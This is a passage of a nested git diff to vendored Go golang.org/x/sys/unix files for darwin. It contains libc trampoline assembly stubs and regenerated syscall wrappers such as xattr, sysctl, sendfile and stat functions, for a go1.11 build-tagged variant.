-+TEXT ·libc_mlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlock(SB)
-+TEXT ·libc_mlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlockall(SB)
-+TEXT ·libc_mprotect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mprotect(SB)
-+TEXT ·libc_msync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_msync(SB)
-+TEXT ·libc_munlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlock(SB)
-+TEXT ·libc_munlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlockall(SB)
-+TEXT ·libc_getattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getattrlist(SB)
-+TEXT ·libc_pipe_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pipe(SB)
-+TEXT ·libc_getxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getxattr(SB)
-+TEXT ·libc_fgetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fgetxattr(SB)
-+TEXT ·libc_setxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setxattr(SB)
-+TEXT ·libc_fsetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsetxattr(SB)
-+TEXT ·libc_removexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_removexattr(SB)
-+TEXT ·libc_fremovexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fremovexattr(SB)
-+TEXT ·libc_listxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listxattr(SB)
-+TEXT ·libc_flistxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flistxattr(SB)
-+TEXT ·libc_setattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setattrlist(SB)
-+TEXT ·libc_fcntl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fcntl(SB)
-+TEXT ·libc_kill_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kill(SB)
-+TEXT ·libc_ioctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ioctl(SB)
-+TEXT ·libc_sysctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sysctl(SB)
-+TEXT ·libc_sendfile_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendfile(SB)
-+TEXT ·libc_access_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_access(SB)
-+TEXT ·libc_adjtime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_adjtime(SB)
-+TEXT ·libc_chdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chdir(SB)
-+TEXT ·libc_chflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chflags(SB)
-+TEXT ·libc_chmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chmod(SB)
-+TEXT ·libc_chown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chown(SB)
-+TEXT ·libc_chroot_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chroot(SB)
-+TEXT ·libc_clock_gettime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_clock_gettime(SB)
-+TEXT ·libc_close_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_close(SB)
-+TEXT ·libc_dup_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup(SB)
-+TEXT ·libc_dup2_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup2(SB)
-+TEXT ·libc_exchangedata_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exchangedata(SB)
-+TEXT ·libc_exit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exit(SB)
-+TEXT ·libc_faccessat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_faccessat(SB)
-+TEXT ·libc_fchdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchdir(SB)
-+TEXT ·libc_fchflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchflags(SB)
-+TEXT ·libc_fchmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmod(SB)
-+TEXT ·libc_fchmodat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmodat(SB)
-+TEXT ·libc_fchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchown(SB)
-+TEXT ·libc_fchownat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchownat(SB)
-+TEXT ·libc_flock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flock(SB)
-+TEXT ·libc_fpathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fpathconf(SB)
-+TEXT ·libc_fsync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsync(SB)
-+TEXT ·libc_ftruncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ftruncate(SB)
-+TEXT ·libc_getdtablesize_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getdtablesize(SB)
-+TEXT ·libc_getegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getegid(SB)
-+TEXT ·libc_geteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_geteuid(SB)
-+TEXT ·libc_getgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgid(SB)
-+TEXT ·libc_getpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgid(SB)
-+TEXT ·libc_getpgrp_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgrp(SB)
-+TEXT ·libc_getpid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpid(SB)
-+TEXT ·libc_getppid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getppid(SB)
-+TEXT ·libc_getpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpriority(SB)
-+TEXT ·libc_getrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrlimit(SB)
-+TEXT ·libc_getrusage_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrusage(SB)
-+TEXT ·libc_getsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsid(SB)
-+TEXT ·libc_getuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getuid(SB)
-+TEXT ·libc_issetugid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_issetugid(SB)
-+TEXT ·libc_kqueue_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kqueue(SB)
-+TEXT ·libc_lchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lchown(SB)
-+TEXT ·libc_link_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_link(SB)
-+TEXT ·libc_linkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_linkat(SB)
-+TEXT ·libc_listen_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listen(SB)
-+TEXT ·libc_mkdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdir(SB)
-+TEXT ·libc_mkdirat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdirat(SB)
-+TEXT ·libc_mkfifo_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkfifo(SB)
-+TEXT ·libc_mknod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mknod(SB)
-+TEXT ·libc_open_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_open(SB)
-+TEXT ·libc_openat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_openat(SB)
-+TEXT ·libc_pathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pathconf(SB)
-+TEXT ·libc_pread_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pread(SB)
-+TEXT ·libc_pwrite_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pwrite(SB)
-+TEXT ·libc_read_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_read(SB)
-+TEXT ·libc_readlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlink(SB)
-+TEXT ·libc_readlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlinkat(SB)
-+TEXT ·libc_rename_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rename(SB)
-+TEXT ·libc_renameat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_renameat(SB)
-+TEXT ·libc_revoke_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_revoke(SB)
-+TEXT ·libc_rmdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rmdir(SB)
-+TEXT ·libc_lseek_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lseek(SB)
-+TEXT ·libc_select_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_select(SB)
-+TEXT ·libc_setegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setegid(SB)
-+TEXT ·libc_seteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_seteuid(SB)
-+TEXT ·libc_setgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgid(SB)
-+TEXT ·libc_setlogin_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setlogin(SB)
-+TEXT ·libc_setpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpgid(SB)
-+TEXT ·libc_setpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpriority(SB)
-+TEXT ·libc_setprivexec_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setprivexec(SB)
-+TEXT ·libc_setregid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setregid(SB)
-+TEXT ·libc_setreuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setreuid(SB)
-+TEXT ·libc_setrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setrlimit(SB)
-+TEXT ·libc_setsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsid(SB)
-+TEXT ·libc_settimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_settimeofday(SB)
-+TEXT ·libc_setuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setuid(SB)
-+TEXT ·libc_symlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlink(SB)
-+TEXT ·libc_symlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlinkat(SB)
-+TEXT ·libc_sync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sync(SB)
-+TEXT ·libc_truncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_truncate(SB)
-+TEXT ·libc_umask_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_umask(SB)
-+TEXT ·libc_undelete_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_undelete(SB)
-+TEXT ·libc_unlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlink(SB)
-+TEXT ·libc_unlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlinkat(SB)
-+TEXT ·libc_unmount_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unmount(SB)
-+TEXT ·libc_write_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_write(SB)
-+TEXT ·libc_mmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mmap(SB)
-+TEXT ·libc_munmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munmap(SB)
-+TEXT ·libc_ptrace_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ptrace(SB)
-+TEXT ·libc_gettimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_gettimeofday(SB)
-+TEXT ·libc_fstat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstat64(SB)
-+TEXT ·libc_fstatat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatat64(SB)
-+TEXT ·libc_fstatfs64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatfs64(SB)
-+TEXT ·libc_getfsstat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getfsstat64(SB)
-+TEXT ·libc_lstat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lstat64(SB)
-+TEXT ·libc_stat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_stat64(SB)
-+TEXT ·libc_statfs64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_statfs64(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_11.go
-similarity index 85%
-copy from vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_11.go
-index 7a409745..cea04e04 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_11.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,arm syscall_bsd.go syscall_darwin.go syscall_darwin_arm.go
-+// go run mksyscall.go -l32 -tags darwin,arm,!go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_arm.1_11.go syscall_darwin_arm.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,arm
-+// +build darwin,arm,!go1.12
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_GETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +372,161 @@ func pipe() (r int, w int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := Syscall6(SYS_FLISTXATTR, uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func kill(pid int, signum int, posix int) (err error) {
- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
-@@ -408,6 +547,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := Syscall9(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(offset>>32), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -672,26 +837,6 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -712,23 +857,6 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -930,21 +1058,6 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Mkdir(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1229,8 +1342,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1375,36 +1489,6 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1607,3 +1691,94 @@ func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_GETFSSTAT, uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
